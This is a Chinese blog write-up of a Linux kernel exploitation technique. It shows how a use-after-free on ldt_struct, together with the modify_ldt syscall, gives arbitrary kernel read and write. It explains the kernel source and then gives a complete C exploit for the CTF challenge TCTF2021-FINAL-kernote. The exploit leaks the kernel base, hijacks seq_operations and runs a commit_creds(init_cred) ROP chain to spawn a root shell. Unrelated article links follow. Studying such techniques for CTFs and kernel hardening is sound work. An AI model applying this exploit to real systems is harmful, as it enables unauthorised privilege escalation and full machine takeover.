利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

ldt_struct与modify_ldt系统调用的介绍

ldt_struct

ldt局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt有关的结构体是ldt_struct

struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries; /*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

这个结构体的大小仅有0x10,前8字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8字节的entries指针指向desc_struct结构体,即段描述符,定义如下:

/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt系统调用

modify_ldt这个系统调用,是提供给我们用来获取或修改当前进程的LDT用的。我们看调用modify_ldt的几个用法,源码如下:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS; switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

我们除了系统调用号外传入的三个参数是func,ptr,bytecount,其中ptr指针指向的是user_desc结构体。这个结构体如下:

struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};

任意地址读

利用的函数是ldt_read,其关键源码如下:

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries,那么我们就可以实现任意地址读。

如何控制entries?我们看write_ldt的源码可以看到调用alloc_ldt_struct为新的ldt_struct开辟了空间。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//... old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries); error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
//...
return error;
}

再看alloc_ldt_struct的源码,调用了kamlloc去分配新空间。

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size; if (num_entries > LDT_ENTRIES)
return NULL; new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

我们就可以想到通过UAF去控制ldt_struct,修改entries即可读取想要的数据。

任意地址写

利用的函数是write_ldt,其关键源码如下:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//... old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries); error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock; if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; //...
}

我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我们再看一下LDT_ENTRY_SIZE的定义

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES 8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8

可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries,从而实现任意地址写。

例题:TCTF2021-FINAL-kernote

exp

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h> int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode; void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
} void set(int index)
{
ioctl(fd, 0x6666, index);
} void add(int index)
{
ioctl(fd, 0x6667, index);
} void delete(int index)
{
ioctl(fd, 0x6668, index);
} void edit(size_t data)
{
ioctl(fd, 0x6669, data);
} int main()
{
struct user_desc desc;
int pipe_fd[2] = {0};
size_t temp;
size_t *buf;
size_t search_addr; printf("\033[34m\033[1m[*] Start exploit\033[0m\n"); fd = open("/dev/kernote", O_RDWR);
if(fd<0)
ErrExit("[-] open kernote error");
/*
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
*/ desc.entry_number = 0x8000 / 8;
desc.base_addr = 0xff0000;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0; add(0);
set(0);
delete(0); syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
edit(page_offset_base);
ret = syscall(SYS_modify_ldt, 0, &temp, 8);
if(ret >= 0)
break;
page_offset_base+= 0x4000000;
}
printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base); pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
while(1)
{
edit(search_addr);
ret = fork();
if(!ret)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for(int i=0; i<0x1000; i++)
if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
{
kernel_base = buf[i] - 0x40;
kernel_offset = kernel_base - 0xffffffff81000000;
} write(pipe_fd[1], &kernel_base, 8);
exit(0);
} wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if(kernel_base)
break;
search_addr+= 0x8000;
} kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset); add(1);
set(1);
delete(1); seq_fd = open("/proc/self/stat", O_RDONLY);
if(seq_fd<0)
ErrExit("[-] open seq error"); edit(0xffffffff817c21a6 + kernel_offset); init_cred = 0xffffffff8266b780 + kernel_offset;
prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
commit_creds = 0xffffffff810c9dd0 + kernel_offset;
pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset; __asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;" // start at there
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
); system("/bin/sh");
return 0;
}

利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写的更多相关文章

  1. 利用msg_msg实现任意地址读写

    利用msg_msg实现任意地址读写 msgsnd和msgrcv的源码分析 内核通过msgsnd和msgrcv来进行IPC通信.内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着 ...

  2. Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

    linux下的fastbin是ctf中pwn题的重点出题点.去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了 ...

  3. 1byte、1KB、4KB,1MB、1GB用16进制表示的范围。任意地址范围求字节数

    1byte.1KB.4KB,1MB.1GB用16进制表示的范围.任意地址范围求字节数 2018-02-12 18:27:48 望那伊人 阅读数 5032更多 分类专栏: 计算机相关   版权声明:本文 ...

  4. ecCodes 学习 利用ecCodes Python API对GRIB文件进行读写

    参考 https://www.ecmwf.int/assets/elearning/eccodes/eccodes2/story_html5.htmlhttps://confluence.ecmwf. ...

  5. haproxy利用ACL规则封禁自定义IP地址拒绝访问

    现在有一个需求就是在发版的时候希望除公司IP外的外网访问服务的时候都是拒绝访问的 现在利用haproxy 的acl规则作出限制 errorfile       403 /etc/haproxy/err ...

  6. 免费利用网页版谷歌翻译实现任意语言转换php版

    本文源发布地址: http://ourgarden.cn/2013/07/20/%E5%85%8D%E8%B4%B9%E5%88%A9%E7%94%A8%E7%BD%91%E9%A1%B5%E7%89 ...

  7. PHP利用get_headers()函数判断远程的url地址是否有效

    问题: 利用url访问远程的文件.图片.视频时有时需要请求前判断url地址是否有效. 解决办法: (PHP 5, PHP 7) get_headers — 取得服务器响应一个 HTTP 请求所发送的所 ...

  8. 利用redis限制单个时间内某个mac地址的访问次数

    一.思路 用户mac地址唯一,可以作为redis中的key,每次请求进来,利用ttl命令,判断redis中key的剩余时间,如果大于零,则利用incr进行+1操作,然后再与总的限制次数作对比. 二.代 ...

  9. 利用百度API(js),怎样通过地址获取经纬度

    根据经纬度找到具体地址:http://api.map.baidu.com/geocoder?location=纬度,经度&output=输出格式类型&key=用户密钥如:http:// ...

随机推荐

  1. CentOS yum命令404

    1.获得新的repo列表文件 http://mirrors.163.com/.help/centos.html 2.备份 mv /etc/yum.repos.d/CentOS-Base.repo Ce ...

  2. 【转载】vscode配置C/C++环境

    VScode中配置 C/C++ 环境 Tip:请在电脑端查看 @零流@火星动力猿 2022.4.12 1. 下载编辑器VScode 官网:https://code.visualstudio.com/( ...

  3. 编写可维护的webpack配置

    为什么要构建配置抽离成npm包 通用性 业务开发者无需挂住配置 统一团队构建脚本 可维护性 构建配置合理的拆分 README文档, chan 构建配置管理的可选方案 通过多个配置管理不同环境的构建, ...

  4. MyBatis项目创建

    一.开发环境的准备 总览: mybatis搭建过程: 1.导入jar 2.创建mybatis的核心(全局)配置文件mybatis-config.xml,并配置 3.创建映射文件XxxMapper.xm ...

  5. 基于.NetCore开发博客项目 StarBlog - (15) 生成随机尺寸图片

    系列文章 基于.NetCore开发博客项目 StarBlog - (1) 为什么需要自己写一个博客? 基于.NetCore开发博客项目 StarBlog - (2) 环境准备和创建项目 基于.NetC ...

  6. 线程池的概念&原理和线程池的代码实现

    线程池:一个容纳多个线程的容器,其中的线程可以反复使用,省去了频繁创建线程对象的操作, 无需反复创建线程而消耗过多资源.工作原理:可以用一张图来简洁明了说明: 合理利用线程池能够带来三个好处∶1.降低 ...

  7. YYYYMMdd和yyyyMMdd的区别

    YYYYMMdd的 YYYY 是表示:当天所在的周属于的年份,一周从周日开始,周六结束,只要本周跨年,那么这周就算入下一年.比如今天是2021-12-29 星期三,然后本周六是2022-01-01,存 ...

  8. linux 配置集群需要修改的东西

    1. 服务器主机名 vi /etc/hostname 按Esc,然后:wq! ,保存,然后重启电脑 reboot 2.修改IP和mac,也可以设置成自动的,但一般是固定的 cd /etc/syscon ...

  9. 4-2 Spring MVC框架-01

    Spring MVC框架-01 Ⅰ.接收客户端请求 1. 关于Spring MVC框架 Spring MVC是基于Spring框架基础之上的 作用: 接收请求,响应结果,处理异常 主要解决了后端服务器 ...

  10. 队列Q_via牛客网

    题目 链接:https://ac.nowcoder.com/acm/contest/28537/L 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 262144K,其他语 ...